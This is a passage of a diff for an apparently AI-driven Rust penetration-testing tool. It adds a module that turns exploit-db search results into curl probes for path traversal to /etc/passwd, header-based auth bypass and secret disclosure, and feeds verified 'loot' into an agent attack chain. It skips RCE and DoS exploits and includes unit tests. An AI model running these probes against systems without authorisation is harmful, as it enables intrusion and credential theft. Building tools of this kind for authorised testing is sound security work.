'/....//....//....//....//etc/passwd' \
|
||||
'/cgi-bin/../../../../etc/passwd' \
|
||||
'/icons/../../../../etc/passwd'; do \
|
||||
r=$(curl -sk -m 5 -o - -w '\\nHTTP_CODE:%{{http_code}}' {base}\"$p\" 2>&1); \
|
||||
echo \"PATH=$p\"; echo \"$r\"; echo '---'; \
|
||||
done",
|
||||
);
|
||||
return Some(fallback);
|
||||
}
|
||||
let mut cmds = Vec::new();
|
||||
for tpath in traversals.iter().take(5) {
|
||||
let url = if tpath.starts_with('/') {
|
||||
format!("{base}{tpath}")
|
||||
} else {
|
||||
format!("{base}/{tpath}")
|
||||
};
|
||||
cmds.push(format!(
|
||||
"echo 'PROBE: {tpath}'; curl -sk -m 5 -o - -w '\\nHTTP_CODE:%{{http_code}}' {} 2>&1; echo '---'",
|
||||
sq(&url),
|
||||
));
|
||||
}
|
||||
Some(cmds.join("; "))
|
||||
}
|
||||
ExploitType::AuthBypass => {
|
||||
let endpoints = extract_endpoint_paths(content);
|
||||
if endpoints.is_empty() {
|
||||
return None;
|
||||
}
|
||||
let mut cmds = Vec::new();
|
||||
for ep in endpoints.iter().take(5) {
|
||||
// Try the endpoint both with and without authentication headers
|
||||
cmds.push(format!(
|
||||
"echo 'ENDPOINT: {ep}'; \
|
||||
b=$(curl -sk -m 5 -o /dev/null -w '%{{http_code}}' {base}{ep} 2>&1); \
|
||||
echo \"BASELINE_CODE=$b\"; \
|
||||
a=$(curl -sk -m 5 -o - -w '\\nHTTP_CODE:%{{http_code}}' {base}{ep} -H 'X-Forwarded-For: 127.0.0.1' -H 'X-Original-URL: {ep}' 2>&1); \
|
||||
echo \"$a\"; echo '---'",
|
||||
));
|
||||
}
|
||||
Some(cmds.join("; "))
|
||||
}
|
||||
ExploitType::InfoDisclosure => {
|
||||
let endpoints = extract_endpoint_paths(content);
|
||||
if endpoints.is_empty() {
|
||||
return None;
|
||||
}
|
||||
let mut cmds = Vec::new();
|
||||
for ep in endpoints.iter().take(5) {
|
||||
cmds.push(format!(
|
||||
"echo 'ENDPOINT: {ep}'; curl -sk -m 5 -o - -w '\\nHTTP_CODE:%{{http_code}}' {base}{ep} 2>&1; echo '---'",
|
||||
));
|
||||
}
|
||||
Some(cmds.join("; "))
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Check whether probe output proves the vulnerability.
|
||||
pub fn verify_output(exploit_type: &ExploitType, output: &str) -> bool {
|
||||
let lower = output.to_ascii_lowercase();
|
||||
match exploit_type {
|
||||
ExploitType::PathTraversal => {
|
||||
// Positive signals: Unix password file, Windows ini, shadow hashes
|
||||
let has_passwd = output.contains("root:x:0:0:") || output.contains("root:$");
|
||||
let has_shadow = output.contains(":$6$") || output.contains(":$y$") || output.contains(":$5$");
|
||||
let has_winini = lower.contains("[extensions]") || lower.contains("[mci extensions]");
|
||||
let has_etc_content = output.contains("daemon:") && output.contains("nobody:");
|
||||
(has_passwd || has_shadow || has_winini || has_etc_content)
|
||||
&& !lower.contains("404 not found")
|
||||
&& !lower.contains("400 bad request")
|
||||
}
|
||||
ExploitType::AuthBypass => {
|
||||
// The baseline was 401/403 but the bypass returned 200 with content
|
||||
let has_baseline_deny = lower.contains("baseline_code=401") || lower.contains("baseline_code=403");
|
||||
let has_bypass_ok = lower.contains("http_code:200");
|
||||
has_baseline_deny && has_bypass_ok
|
||||
}
|
||||
ExploitType::InfoDisclosure => {
|
||||
// Sensitive data patterns in the response
|
||||
let sensitive = lower.contains("password") || lower.contains("secret_key")
|
||||
|| lower.contains("api_key") || lower.contains("apikey")
|
||||
|| lower.contains("database") || lower.contains("db_host")
|
||||
|| lower.contains("private_key") || lower.contains("aws_access")
|
||||
|| lower.contains("connectionstring") || lower.contains("jdbc:")
|
||||
|| lower.contains("mongodb://") || lower.contains("mysql://")
|
||||
|| lower.contains("postgres://") || lower.contains("redis://")
|
||||
|| output.contains("BEGIN RSA PRIVATE KEY")
|
||||
|| output.contains("BEGIN OPENSSH PRIVATE KEY");
|
||||
let not_error = !lower.contains("404 not found") && !lower.contains("403 forbidden");
|
||||
sensitive && not_error
|
||||
}
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Read a PoC file from the local exploit-db mirror.
|
||||
fn read_poc(path: &str) -> Option<String> {
|
||||
let full = format!("{EXPLOITDB_ROOT}/{path}");
|
||||
std::fs::read_to_string(&full).ok()
|
||||
}
|
||||
|
||||
/// Re-classify a candidate after reading the actual PoC content (the initial
|
||||
/// classification is title-only; content can refine it).
|
||||
fn reclassify(candidate: &mut ExploitCandidate, content: &str) {
|
||||
// Only reclassify Unknown — if the title already gave a clear type, trust it
|
||||
if candidate.exploit_type != ExploitType::Unknown {
|
||||
return;
|
||||
}
|
||||
candidate.exploit_type = classify_exploit(&candidate.title, content);
|
||||
}
|
||||
|
||||
/// Main entry point: given svc_probe PortFacts and their raw searchsploit
|
||||
/// blocks, parse → classify → build → run → verify for every safe candidate.
|
||||
pub async fn probe_nday<F, Fut>(
|
||||
facts: &[PortFact],
|
||||
searchsploit_blocks: &str,
|
||||
host: &str,
|
||||
timeout_secs: u64,
|
||||
runner: F,
|
||||
) -> NdayFacts
|
||||
where
|
||||
F: Fn(String) -> Fut,
|
||||
Fut: std::future::Future<Output = Option<String>>,
|
||||
{
|
||||
let mut result = NdayFacts::default();
|
||||
let mut candidates = parse_searchsploit(searchsploit_blocks);
|
||||
|
||||
if candidates.is_empty() && facts.is_empty() {
|
||||
return result;
|
||||
}
|
||||
|
||||
// --- Phase 1: Nuclei CVE templates (safest, most reliable) ---
|
||||
let all_cves = extract_cves(searchsploit_blocks);
|
||||
let mut nuclei_verified: Vec<String> = Vec::new();
|
||||
for cve in &all_cves {
|
||||
if let Some(tmpl) = find_nuclei_template(cve) {
|
||||
for fact in facts {
|
||||
let cmd = nuclei_command(&tmpl, host, fact.port, timeout_secs);
|
||||
if let Some(out) = runner(cmd).await {
|
||||
let trimmed = out.trim();
|
||||
if !trimmed.is_empty() && !trimmed.contains("No results") && !trimmed.contains("[ERR]") {
|
||||
nuclei_verified.push(cve.clone());
|
||||
result.loot.push(format!(
|
||||
"vuln:{cve}@{host}:{} — VERIFIED via nuclei template, {}: {}",
|
||||
fact.port, fact.service, trimmed.lines().next().unwrap_or(trimmed)
|
||||
));
|
||||
result.evidence.push_str(&format!(
|
||||
"NUCLEI {cve} on {host}:{} ({}):\n{}\n\n",
|
||||
fact.port, fact.service, trimmed.chars().take(2000).collect::<String>()
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- Phase 2: Local exploit-db PoC verification ---
|
||||
// Build a port→fact lookup
|
||||
let fact_by_port: std::collections::HashMap<u16, &PortFact> =
|
||||
facts.iter().map(|f| (f.port, f)).collect();
|
||||
|
||||
for candidate in &mut candidates {
|
||||
if let Some(ref cve) = candidate.cve {
|
||||
if nuclei_verified.contains(cve) { continue; }
|
||||
}
|
||||
let content = read_poc(&candidate.path).unwrap_or_default();
|
||||
reclassify(candidate, &content);
|
||||
|
||||
// Report unsafe types as cited hypotheses (same pattern as privesc/GTFOBins)
|
||||
match candidate.exploit_type {
|
||||
ExploitType::RemoteCodeExec => {
|
||||
let cve_tag = candidate.cve.as_deref().unwrap_or("no-CVE");
|
||||
result.evidence.push_str(&format!(
|
||||
"CANDIDATE (not auto-tested — RCE): EDB-{} {} [{}]\n",
|
||||
candidate.edb_id, candidate.title, cve_tag
|
||||
));
|
||||
result.loot.push(format!(
|
||||
"nday-candidate:{host} EDB-{} {} [{}] — RCE exploit exists in exploit-db, NOT auto-tested (destructive)",
|
||||
candidate.edb_id, candidate.title, cve_tag
|
||||
));
|
||||
continue;
|
||||
}
|
||||
ExploitType::DoS | ExploitType::LocalPrivesc | ExploitType::Unknown => {
|
||||
result.evidence.push_str(&format!(
|
||||
"SKIPPED ({}): EDB-{} {}\n",
|
||||
match candidate.exploit_type {
|
||||
ExploitType::DoS => "DoS — never run",
|
||||
ExploitType::LocalPrivesc => "local privesc — needs foothold",
|
||||
_ => "unclassified — conservative skip",
|
||||
},
|
||||
candidate.edb_id, candidate.title,
|
||||
));
|
||||
continue;
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
|
||||
// Find the matching port fact for this candidate
|
||||
let fact = if let Some(f) = find_matching_fact(facts, &candidate.title) {
|
||||
f
|
||||
} else if let Some(f) = fact_by_port.values().next() {
|
||||
// Fallback: if only one HTTP-ish port, use it
|
||||
f
|
||||
} else {
|
||||
result.evidence.push_str(&format!(
|
||||
"SKIPPED (no matching port): EDB-{} {}\n",
|
||||
candidate.edb_id, candidate.title
|
||||
));
|
||||
continue;
|
||||
};
|
||||
|
||||
let cmd = match build_verification_command(candidate, fact, host, &content) {
|
||||
Some(c) => c,
|
||||
None => {
|
||||
result.evidence.push_str(&format!(
|
||||
"SKIPPED (no verification command built): EDB-{} {}\n",
|
||||
candidate.edb_id, candidate.title
|
||||
));
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
result.evidence.push_str(&format!(
|
||||
"TESTING EDB-{} {} on {}:{}...\n",
|
||||
candidate.edb_id, candidate.title, host, fact.port
|
||||
));
|
||||
|
||||
if let Some(output) = runner(cmd).await {
|
||||
let clipped: String = output.chars().take(3000).collect();
|
||||
result.evidence.push_str(&format!("output:\n{}\n", clipped.trim_end()));
|
||||
|
||||
if verify_output(&candidate.exploit_type, &output) {
|
||||
let cve_tag = candidate.cve.as_deref().unwrap_or("no-CVE");
|
||||
let type_label = match candidate.exploit_type {
|
||||
ExploitType::PathTraversal => "path-traversal",
|
||||
ExploitType::AuthBypass => "auth-bypass",
|
||||
ExploitType::InfoDisclosure => "info-disclosure",
|
||||
_ => "nday",
|
||||
};
|
||||
result.loot.push(format!(
|
||||
"vuln:{host}:{} via nday-{type_label} EDB-{} [{}] — VERIFIED, {} on port {} confirmed exploitable",
|
||||
fact.port, candidate.edb_id, cve_tag, candidate.title, fact.port
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- Phase 3: GitHub PoC search for unverified CVEs ---
|
||||
let verified_cves: Vec<String> = result.loot.iter()
|
||||
.filter_map(|l| {
|
||||
regex::Regex::new(r"CVE-\d{4}-\d+").ok()?.find(l).map(|m| m.as_str().to_string())
|
||||
})
|
||||
.collect();
|
||||
for cve in &all_cves {
|
||||
if verified_cves.contains(cve) { continue; }
|
||||
let cmd = github_poc_search_command(cve);
|
||||
if let Some(out) = runner(cmd).await {
|
||||
let trimmed = out.trim();
|
||||
if !trimmed.is_empty() && !trimmed.contains("Could not") && !trimmed.contains("error") && !trimmed.contains("gh:") {
|
||||
result.hypotheses.push(format!(
|
||||
"nday-github-poc:{cve}@{host} — public PoC(s) on GitHub: {}",
|
||||
trimmed.lines().take(3).collect::<Vec<_>>().join("; ")
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
/// Match a searchsploit title to a port fact by looking for the service name
|
||||
/// or a known product name in the title.
|
||||
fn find_matching_fact<'a>(facts: &'a [PortFact], title: &str) -> Option<&'a PortFact> {
|
||||
let lower = title.to_ascii_lowercase();
|
||||
// Try exact service match first
|
||||
for f in facts {
|
||||
let svc = f.service.to_ascii_lowercase();
|
||||
let ver = f.version.to_ascii_lowercase();
|
||||
if !svc.is_empty() && svc != "unknown" && lower.contains(&svc) {
|
||||
return Some(f);
|
||||
}
|
||||
// Match product names from the version string (e.g. "Apache" in "Apache httpd 2.4.49")
|
||||
for word in ver.split_whitespace() {
|
||||
if word.len() >= 4 && lower.contains(&word.to_ascii_lowercase()) {
|
||||
return Some(f);
|
||||
}
|
||||
}
|
||||
}
|
||||
// Fallback: HTTP-based exploits match any HTTP port
|
||||
if lower.contains("http") || lower.contains("web") || lower.contains("apache")
|
||||
|| lower.contains("nginx") || lower.contains("iis") || lower.contains("tomcat")
|
||||
{
|
||||
return facts.iter().find(|f| {
|
||||
let s = f.service.to_ascii_lowercase();
|
||||
s.contains("http") || f.port == 80 || f.port == 443 || f.port == 8080 || f.port == 8443
|
||||
});
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn parses_searchsploit_tabular_output() {
|
||||
let output = "\
|
||||
Exploit Title | Path
|
||||
-------------------------------------------------- | ----------------------------
|
||||
Apache 2.4.49 - Path Traversal | exploits/linux/remote/50383.sh
|
||||
Apache 2.4.49/50 - Remote Code Execution | exploits/linux/remote/50512.py
|
||||
vsftpd 2.3.4 - Backdoor Command Execution | exploits/unix/remote/49757.py\n";
|
||||
let candidates = parse_searchsploit(output);
|
||||
assert_eq!(candidates.len(), 3);
|
||||
assert_eq!(candidates[0].edb_id, "50383");
|
||||
assert_eq!(candidates[0].exploit_type, ExploitType::PathTraversal);
|
||||
assert_eq!(candidates[1].exploit_type, ExploitType::RemoteCodeExec);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn classifies_exploit_types_from_title() {
|
||||
assert_eq!(classify_exploit("Apache 2.4.49 - Path Traversal", ""), ExploitType::PathTraversal);
|
||||
assert_eq!(classify_exploit("WordPress Plugin - Authentication Bypass", ""), ExploitType::AuthBypass);
|
||||
assert_eq!(classify_exploit("OpenSSH 7.7 - Denial of Service", ""), ExploitType::DoS);
|
||||
assert_eq!(classify_exploit("Linux Kernel 5.8 - Local Privilege Escalation", ""), ExploitType::LocalPrivesc);
|
||||
assert_eq!(classify_exploit("Apache 2.4.50 - Remote Code Execution (RCE)", ""), ExploitType::RemoteCodeExec);
|
||||
assert_eq!(classify_exploit("phpMyAdmin - Information Disclosure", ""), ExploitType::InfoDisclosure);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn content_based_reclassification_catches_traversal() {
|
||||
let mut c = ExploitCandidate {
|
||||
edb_id: "1".into(), title: "Some Tool - Arbitrary File".into(),
|
||||
path: "x".into(), cve: None, exploit_type: ExploitType::Unknown,
|
||||
};
|
||||
// "arbitrary file" in the title already triggers PathTraversal via classify_exploit
|
||||
// But let's test content-based fallback for a truly ambiguous title
|
||||
let mut c2 = ExploitCandidate {
|
||||
edb_id: "2".into(), title: "FooApp 1.0 - Vulnerability".into(),
|
||||
path: "x".into(), cve: None, exploit_type: ExploitType::Unknown,
|
||||
};
|
||||
reclassify(&mut c2, "payload = '../../../../etc/passwd'");
|
||||
assert_eq!(c2.exploit_type, ExploitType::PathTraversal);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn dos_and_local_privesc_never_get_a_command() {
|
||||
let dos = ExploitCandidate {
|
||||
edb_id: "1".into(), title: "DoS".into(), path: "x".into(),
|
||||
cve: None, exploit_type: ExploitType::DoS,
|
||||
};
|
||||
let fact = PortFact { port: 80, proto: "tcp".into(), service: "http".into(), version: "Apache 2.4.49".into() };
|
||||
assert!(build_verification_command(&dos, &fact, "10.0.0.5", "").is_none());
|
||||
|
||||
let privesc = ExploitCandidate {
|
||||
edb_id: "2".into(), title: "privesc".into(), path: "x".into(),
|
||||
cve: None, exploit_type: ExploitType::LocalPrivesc,
|
||||
};
|
||||
assert!(build_verification_command(&privesc, &fact, "10.0.0.5", "").is_none());
|
||||
|
||||
let rce = ExploitCandidate {
|
||||
edb_id: "3".into(), title: "rce".into(), path: "x".into(),
|
||||
cve: None, exploit_type: ExploitType::RemoteCodeExec,
|
||||
};
|
||||
assert!(build_verification_command(&rce, &fact, "10.0.0.5", "").is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn path_traversal_verification_detects_etc_passwd() {
|
||||
assert!(verify_output(&ExploitType::PathTraversal, "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nnobody:x:65534:65534:"));
|
||||
assert!(!verify_output(&ExploitType::PathTraversal, "404 Not Found"));
|
||||
assert!(!verify_output(&ExploitType::PathTraversal, ""));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn auth_bypass_needs_baseline_deny_and_bypass_ok() {
|
||||
let good = "BASELINE_CODE=403\nsome data\nHTTP_CODE:200";
|
||||
assert!(verify_output(&ExploitType::AuthBypass, good));
|
||||
// Both 200 → not a bypass
|
||||
let both_ok = "BASELINE_CODE=200\ndata\nHTTP_CODE:200";
|
||||
assert!(!verify_output(&ExploitType::AuthBypass, both_ok));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn info_disclosure_detects_sensitive_data() {
|
||||
assert!(verify_output(&ExploitType::InfoDisclosure, "DB_HOST=localhost\npassword=hunter2\nHTTP_CODE:200"));
|
||||
assert!(verify_output(&ExploitType::InfoDisclosure, "-----BEGIN RSA PRIVATE KEY-----\nMIIE..."));
|
||||
assert!(!verify_output(&ExploitType::InfoDisclosure, "Welcome to our website"));
|
||||
assert!(!verify_output(&ExploitType::InfoDisclosure, "404 not found"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn path_traversal_builds_curl_command() {
|
||||
let c = ExploitCandidate {
|
||||
edb_id: "50383".into(), title: "Apache - Path Traversal".into(),
|
||||
path: "x".into(), cve: None, exploit_type: ExploitType::PathTraversal,
|
||||
};
|
||||
let fact = PortFact { port: 8080, proto: "tcp".into(), service: "http".into(), version: "Apache 2.4.49".into() };
|
||||
let content = r#"url = target + "/cgi-bin/../../../../etc/passwd""#;
|
||||
let cmd = build_verification_command(&c, &fact, "10.0.0.5", content).unwrap();
|
||||
assert!(cmd.contains("10.0.0.5:8080"));
|
||||
assert!(cmd.contains("curl"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn https_ports_use_https_scheme() {
|
||||
let c = ExploitCandidate {
|
||||
edb_id: "1".into(), title: "X - Path Traversal".into(),
|
||||
path: "x".into(), cve: None, exploit_type: ExploitType::PathTraversal,
|
||||
};
|
||||
let fact = PortFact { port: 443, proto: "tcp".into(), service: "https".into(), version: "nginx".into() };
|
||||
let cmd = build_verification_command(&c, &fact, "10.0.0.5", "url = '/../../../etc/passwd'").unwrap();
|
||||
assert!(cmd.contains("https://10.0.0.5"));
|
||||
// Port 443 should not appear in the URL
|
||||
assert!(!cmd.contains(":443"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extracts_traversal_paths_from_poc_content() {
|
||||
let content = r#"
|
||||
import requests
|
||||
target = sys.argv[1]
|
||||
path = "/cgi-bin/../../../../etc/passwd"
|
||||
r = requests.get(target + path)
|
||||
"#;
|
||||
let paths = extract_traversal_paths(content);
|
||||
assert!(!paths.is_empty());
|
||||
assert!(paths.iter().any(|p| p.contains("etc/passwd")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extracts_endpoint_paths_from_poc_content() {
|
||||
let content = r#"
|
||||
url = target + "/admin/config.php"
|
||||
r = requests.get(url)
|
||||
backup = target + "/backup/db.sql"
|
||||
"#;
|
||||
let paths = extract_endpoint_paths(content);
|
||||
assert!(paths.iter().any(|p| p.contains("/admin/config.php")));
|
||||
assert!(paths.iter().any(|p| p.contains("/backup/db.sql")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn find_matching_fact_matches_by_service_name() {
|
||||
let facts = vec![
|
||||
PortFact { port: 22, proto: "tcp".into(), service: "ssh".into(), version: "OpenSSH 8.2".into() },
|
||||
PortFact { port: 80, proto: "tcp".into(), service: "http".into(), version: "Apache httpd 2.4.49".into() },
|
||||
];
|
||||
let f = find_matching_fact(&facts, "Apache 2.4.49 - Path Traversal").unwrap();
|
||||
assert_eq!(f.port, 80);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn find_matching_fact_falls_back_to_http_port_for_web_exploits() {
|
||||
let facts = vec![
|
||||
PortFact { port: 22, proto: "tcp".into(), service: "ssh".into(), version: "OpenSSH 8.2".into() },
|
||||
PortFact { port: 8080, proto: "tcp".into(), service: "http-proxy".into(), version: "Jetty 9.4".into() },
|
||||
];
|
||||
let f = find_matching_fact(&facts, "Jetty Web Server - Information Disclosure").unwrap();
|
||||
assert_eq!(f.port, 8080);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cve_is_extracted_from_title() {
|
||||
let output = "Apache 2.4.49 CVE-2021-41773 - Path Traversal | exploits/linux/remote/50383.sh\n";
|
||||
let candidates = parse_searchsploit(output);
|
||||
assert_eq!(candidates.len(), 1);
|
||||
assert_eq!(candidates[0].cve, Some("CVE-2021-41773".to_string()));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn verified_traversal_produces_loot_line() {
|
||||
let facts = vec![
|
||||
PortFact { port: 80, proto: "tcp".into(), service: "http".into(), version: "Apache httpd 2.4.49".into() },
|
||||
];
|
||||
let searchsploit = "Apache 2.4.49 - Path Traversal | exploits/linux/remote/50383.sh\n";
|
||||
let result = probe_nday(&facts, searchsploit, "10.0.0.5", 10, |_cmd| async {
|
||||
Some("root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nnobody:x:65534:65534:\nHTTP_CODE:200".to_string())
|
||||
}).await;
|
||||
assert!(result.loot.iter().any(|l| l.contains("VERIFIED") && l.contains("nday-path-traversal")));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn rce_exploit_is_flagged_but_not_tested() {
|
||||
let facts = vec![
|
||||
PortFact { port: 80, proto: "tcp".into(), service: "http".into(), version: "Apache httpd 2.4.49".into() },
|
||||
];
|
||||
let searchsploit = "Apache 2.4.49/50 - Remote Code Execution | exploits/linux/remote/50512.py\n";
|
||||
let result = probe_nday(&facts, searchsploit, "10.0.0.5", 10, |_cmd| async {
|
||||
panic!("runner should never be called for RCE exploits");
|
||||
}).await;
|
||||
assert!(result.loot.iter().any(|l| l.contains("nday-candidate") && l.contains("NOT auto-tested")));
|
||||
assert!(result.evidence.contains("not auto-tested"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extracts_cves_from_text() {
|
||||
let text = "Apache 2.4.49 CVE-2021-41773 path traversal, also CVE-2021-42013";
|
||||
let cves = extract_cves(text);
|
||||
assert_eq!(cves, vec!["CVE-2021-41773", "CVE-2021-42013"]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nuclei_command_builds_correct_url() {
|
||||
let cmd = nuclei_command("/path/cve-2021-41773.yaml", "10.0.0.5", 8080, 15);
|
||||
assert!(cmd.contains("http://10.0.0.5:8080"));
|
||||
assert!(cmd.contains("-silent"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nuclei_command_uses_https_for_443() {
|
||||
let cmd = nuclei_command("/path/t.yaml", "10.0.0.5", 443, 10);
|
||||
assert!(cmd.contains("https://10.0.0.5"));
|
||||
assert!(!cmd.contains(":443"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn nuclei_verified_becomes_loot() {
|
||||
let facts = vec![PortFact { port: 80, proto: "tcp".into(), service: "http".into(), version: "Apache 2.4.49".into() }];
|
||||
let searchsploit = "Apache 2.4.49 CVE-2021-41773 - Path Traversal | exploits/linux/remote/50383.sh\n";
|
||||
let result = probe_nday(&facts, searchsploit, "10.0.0.5", 10, |cmd| async move {
|
||||
if cmd.contains("nuclei") {
|
||||
Some("[CVE-2021-41773] [http] [critical] http://10.0.0.5:80".to_string())
|
||||
} else if cmd.contains("gh api") {
|
||||
None
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
assert!(result.loot.iter().any(|l| l.contains("CVE-2021-41773") && l.contains("VERIFIED")));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn failed_verification_produces_no_loot() {
|
||||
let facts = vec![
|
||||
PortFact { port: 80, proto: "tcp".into(), service: "http".into(), version: "Apache httpd 2.4.49".into() },
|
||||
];
|
||||
let searchsploit = "Apache 2.4.49 - Path Traversal | exploits/linux/remote/50383.sh\n";
|
||||
let result = probe_nday(&facts, searchsploit, "10.0.0.5", 10, |_cmd| async {
|
||||
Some("404 Not Found\nHTTP_CODE:404".to_string())
|
||||
}).await;
|
||||
assert!(!result.loot.iter().any(|l| l.contains("VERIFIED")));
|
||||
}
|
||||
}
|
||||
@@ -2605,6 +2605,19 @@ pub async fn run_whitebox(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: S
|
||||
"indexed {} file(s), {} line(s) read in full ({} oversized skipped): {} function(s), {} risky operation(s), {} flow(s) of which {} reach an entry point",
|
||||
idx.files.len(), idx.total_lines, idx.skipped_large, idx.defs.len(), idx.sinks.len(), wb_flows.len(), reach)).await;
|
||||
}
|
||||
// Deep SAST: deterministic pattern scan for 0day-class vulnerabilities.
|
||||
// Runs BEFORE agents — findings become FACTS for the LLM doctrine round.
|
||||
let sast_report = crate::deep_sast::scan_directory(&cfg.target);
|
||||
let sast_facts = crate::deep_sast::findings_to_facts(&sast_report);
|
||||
if !sast_report.findings.is_empty() {
|
||||
let crit = sast_report.findings.iter().filter(|f| f.severity == crate::deep_sast::SastSeverity::Critical).count();
|
||||
let high = sast_report.findings.iter().filter(|f| f.severity == crate::deep_sast::SastSeverity::High).count();
|
||||
let _ = tx.send(format!(
|
||||
"🔬 deep SAST: {} finding(s) ({} critical, {} high) across {} file(s), {} line(s)",
|
||||
sast_report.findings.len(), crit, high, sast_report.files_scanned, sast_report.lines_scanned
|
||||
)).await;
|
||||
}
|
||||
|
||||
if research {
|
||||
let _ = tx.send("notify: 🔬 research mode — hunting a NOVEL, CVE-reportable issue (known-CVE dedup + patch-diff variant analysis)".into()).await;
|
||||
}
|
||||
@@ -2640,11 +2653,13 @@ pub async fn run_whitebox(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: S
|
||||
}
|
||||
|
||||
let wb_workdir = cfg.workdir.clone();
|
||||
let sast_facts_shared = std::sync::Arc::new(sast_facts);
|
||||
let raw: Vec<(String, String, Vec<Finding>)> = stream::iter(selected.iter().cloned())
|
||||
.map(|ag| {
|
||||
let idx = idx.clone();
|
||||
let flows = wb_flows.clone();
|
||||
let raw_fallback = raw_fallback.clone();
|
||||
let sast_facts = sast_facts_shared.clone();
|
||||
let txc = tx.clone();
|
||||
let wd = wb_workdir.clone();
|
||||
async move {
|
||||
@@ -2663,6 +2678,9 @@ pub async fn run_whitebox(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: S
|
||||
if taken == 0 && !raw_fallback.is_empty() {
|
||||
ctx.push_str(&raw_fallback);
|
||||
}
|
||||
if pass == 0 && !sast_facts.is_empty() {
|
||||
ctx.push_str(&sast_facts);
|
||||
}
|
||||
let user = whitebox_user_prompt(&ag, &ctx);
|
||||
match pool.complete_routed(Task::Exploit, &ag.name, &sys, &user).await {
|
||||
Ok((m, text)) => {
|
||||
@@ -3488,6 +3506,37 @@ async fn attack_chain(pool: &ModelPool, cfg: &RunConfig, recon: &str,
|
||||
}
|
||||
}
|
||||
}
|
||||
// Nday restore in attack chain: when loot or recon carries
|
||||
// searchsploit output, verify CVE candidates deterministically.
|
||||
{
|
||||
let combined = format!("{recon}\n{}", loot.join("\n"));
|
||||
let searchsploit_start = combined.find("Exploit Title");
|
||||
if let Some(start) = searchsploit_start {
|
||||
let block = &combined[start..];
|
||||
let host = crate::scope::host_of(&cfg.target);
|
||||
if !host.is_empty() {
|
||||
let svc_facts = crate::svc_probe::parse_nmap(&combined);
|
||||
let cfg_ref = &cfg;
|
||||
let nday = crate::nday_restore::probe_nday(&svc_facts, block, &host, 15, |cmd| {
|
||||
let cmd = cmd.clone();
|
||||
async move {
|
||||
recon_tool_timed(cfg_ref, "sh", &cmd, 20).await
|
||||
}
|
||||
}).await;
|
||||
for l in &nday.loot {
|
||||
if !loot.iter().any(|x| x.eq_ignore_ascii_case(l)) {
|
||||
if l.contains("VERIFIED") {
|
||||
let _ = tx.send(format!("💥 nday chain: {l}")).await;
|
||||
}
|
||||
loot.push(l.clone());
|
||||
}
|
||||
}
|
||||
for h in &nday.hypotheses {
|
||||
if !loot.iter().any(|x| x.eq_ignore_ascii_case(h)) { loot.push(h.clone()); }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// JEV / System One progress checkpoint (the jev-skill agent-checkpoint
|
||||
// pattern): from the 2nd round on, ask a calibrated backend — TypeSafe
|
||||
// or the local Laya shim — whether recent rounds are still productive,
|
||||
@@ -6572,7 +6621,33 @@ pub async fn run_host(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sende
|
||||
if !cfg.target.starts_with("http://") && !cfg.target.starts_with("https://") {
|
||||
let host = crate::scope::host_of(&cfg.target);
|
||||
if !host.is_empty() {
|
||||
r.push_str(&crate::svc_probe::scan_enrich_and_lookup(&cfg, &host, &tx).await);
|
||||
let svc_output = crate::svc_probe::scan_enrich_and_lookup(&cfg, &host, &tx).await;
|
||||
// Nday restore: attempt to verify CVE candidates from searchsploit
|
||||
if !svc_output.is_empty() && !cfg.offline {
|
||||
let svc_facts = crate::svc_probe::parse_nmap(&svc_output);
|
||||
let cfg_ref = &cfg;
|
||||
let nday = crate::nday_restore::probe_nday(&svc_facts, &svc_output, &host, 15, |cmd| {
|
||||
let cmd = cmd.clone();
|
||||
async move {
|
||||
recon_tool_timed(cfg_ref, "sh", &cmd, 20).await
|
||||
}
|
||||
}).await;
|
||||
if !nday.loot.is_empty() || !nday.hypotheses.is_empty() {
|
||||
let verified = nday.loot.iter().filter(|l| l.contains("VERIFIED")).count();
|
||||
let candidates = nday.hypotheses.len() + nday.loot.iter().filter(|l| l.contains("candidate")).count();
|
||||
let _ = tx.send(format!("💥 nday restore: {verified} verified, {candidates} candidate(s)")).await;
|
||||
}
|
||||
for l in &nday.loot {
|
||||
r.push_str(&format!("\nNDAY: {l}\n"));
|
||||
}
|
||||
for h in &nday.hypotheses {
|
||||
r.push_str(&format!("\nNDAY: {h}\n"));
|
||||
